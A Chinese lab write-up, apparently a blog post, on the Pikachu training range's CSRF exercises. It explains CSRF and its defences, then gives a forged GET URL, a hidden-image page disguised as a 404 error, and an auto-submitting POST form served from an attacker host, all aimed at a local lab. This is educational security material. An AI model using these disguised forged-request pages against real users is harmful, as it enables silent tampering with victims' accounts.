PiKachu之CSRF(跨站请求伪造)

概述

Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。
这里列举一个场景解释一下,希望能够帮助你理解。
场景需求:
小黑想要修改大白在购物网站www.xx.com上填写的会员地址。
先看下大白是如何修改自己的密码的:
登录---修改会员信息,提交请求---修改成功。
所以小黑想要修改大白的信息,他需要拥有:1,登录权限 2,修改个人信息的请求。

但是大白又不会把自己xxx网站的账号密码告诉小黑,那小黑怎么办?
于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是:
【http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】
于是,他实施了这样一个操作:把这个链接伪装一下,在小白登录xxx网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。

为啥小黑的操作能够实现呢。有如下几个关键点:
1.www.xxx.com这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造;
---因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。
2.小白点击了小黑发给的链接,并且这个时候小白刚好登录在购物网上;
---如果小白安全意识高,不点击不明链接,则攻击不会成功,又或者即使小白点击了链接,但小白此时并没有登录购物网站,也不会成功。
---因此,要成功实施一次CSRF攻击,需要“天时,地利,人和”的条件。
当然,如果小黑事先在xxx网的首页如果发现了一个XSS漏洞,则小黑可能会这样做: 欺骗小白访问埋伏了XSS脚本(盗取cookie的脚本)的页面,小白中招,小黑拿到小白的cookie,然后小黑顺利登录到小白的后台,小黑自己修改小白的相关信息。
---所以跟上面比一下,就可以看出CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。

因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:
--对敏感信息的操作增加安全的token;
--对敏感信息的操作增加安全的验证码;
--对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。

如果你没有读太明白,不要犹豫,请再读一遍啦

你可以通过“Cross-site request forgery”对应的测试栏目,来进一步的了解该漏洞。

 

 

一、CSRF(Get) login

这边模仿了用户从登录到信息修改的过程

分析

先登录:  (通过提示得知,  账号有vince/allen/kobe/grady/kevin/lucy/lili,密码全部是123456)

登录之后这边可以修改信息:

输入修改的信息之后,  submit,  可以看到数据包:

漏洞利用

当攻击者知道了修改信息的URL之后,  就可以构造出CSRF攻击的URL:

http://localhost/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=hack&phonenum=hack&add=hack&email=hack&submit=submit

然后诱使登录状态的用户点击该URL就可以完成CSRF攻击:

当然,  保险一点,  为了让用户不发觉自己被攻击,  我们可以构造一个hack.html,  诱导用户点击:

<img src="http://localhost/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=hack&phonenum=hack&add=hack&email=hack&submit=submit" border="0"style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

用户点击之后, 是一个404的页面。

 

 

 

二、CSRF(Post) login

如果修改信息的请求方式是POST型的,  攻击者则不能通过构造恶意URL来攻击

分析

虽然如此,  但是攻击者还是有办法进行攻击的

类似于 XSS的Post型 攻击一样,  攻击者会构造一个自己的攻击站点(服务器),  站点上有一个post.html,  诱使用户点击该地址,  

当用户点击时,就会自动向存在CSRF的服务器提交POST请求修改个人信息,  从而完成攻击。

漏洞利用

可以编写一个post.html: 

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://127.0.0.1/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="girl" />
    <input id="phonenum" type="text" name="phonenum" value="12345678922" />
    <input id="add" type="text" name="add" value="hacker" />
    <input id="email" type="text" name="email" value="lucy@pikachu.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

(代码来自 https://www.cnblogs.com/dogecheng/p/11583412.html )

其中,  127.0.0.1 为存在CSRF漏洞的服务器地址(这里是本地搭建)

该post.html脚本位于攻击者的服务器(192.168.10.105)上:

http://192.168.10.105/csrf/post.html

诱使用户(登录状态)点击, 就会自动往服务器发送POST请求,修改地址信息,  即可完成CSRF攻击:

 

 

 

三、CSRF Token

在增加了Token来反CSRF的机制中,  用户每次访问改密页面时,服务器会返回一个随机的token (需要够随机,不容易被伪造),向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

分析

这里可以看到,  虽然是Get方式请求,  但是有一个随机的Token验证:

即使用户点击了CSRF攻击的链接,  请求因Token不合法而遭到拒绝:

漏洞利用

如果要攻破Token的CSRF攻击,  就要结合其他漏洞来完成了,  比如结合XSS

具体可以参考之前的blog:   DWVA CSRF High级别

 

 

总结

最后,  CSRF容易出现的地方是:

  • 修改管理员账号时,不需要验证旧密码
  • 比如修改敏感信息不需要token验证
  • 确认凭证的有效期虽然退出或关闭了览器,但Cookie仍然有效,或者Session没有及时过期,导致CSRF攻击变得简单
  • 2
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Pikachu靶场是一个用于学习和测试网络安全漏洞的平台,其中包括了针对跨站请求伪造CSRF)漏洞的攻击和防护内容。在这个平台上,你可以学习到CSRF攻击的原理、防护方法以及如何确认一个Web系统是否存在CSRF漏洞。引用 在Pikachu靶场中,CSRF攻击是通过构建恶意请求来利用用户的身份认证信息,窃取或者篡改用户的数据。攻击者通过在自己的网站上放置伪造的表单或者链接,引诱用户去点击,然后在用户不知情的情况下执行了恶意操作。为了防止这种攻击,可以使用一些防护措施,比如使用CSRF Token来验证请求的合法性。引用 在Pikachu靶场中,你可以通过完成一系列的关卡来学习CSRF漏洞的攻击和防护方法。这些关卡涵盖了CSRF攻击的不同类型,包括GET请求和POST请求等。此外,还介绍了CSRF Token的验证原理以及其他的防范措施。引用 所以,pikachu靶场提供了一个实践和学习CSRF漏洞的平台,通过完成相关关卡可以巩固对CSRF漏洞的学习和理解。引用<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [Pikachu靶场之CSRF漏洞详解](https://blog.csdn.net/m0_46467017/article/details/124795334)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值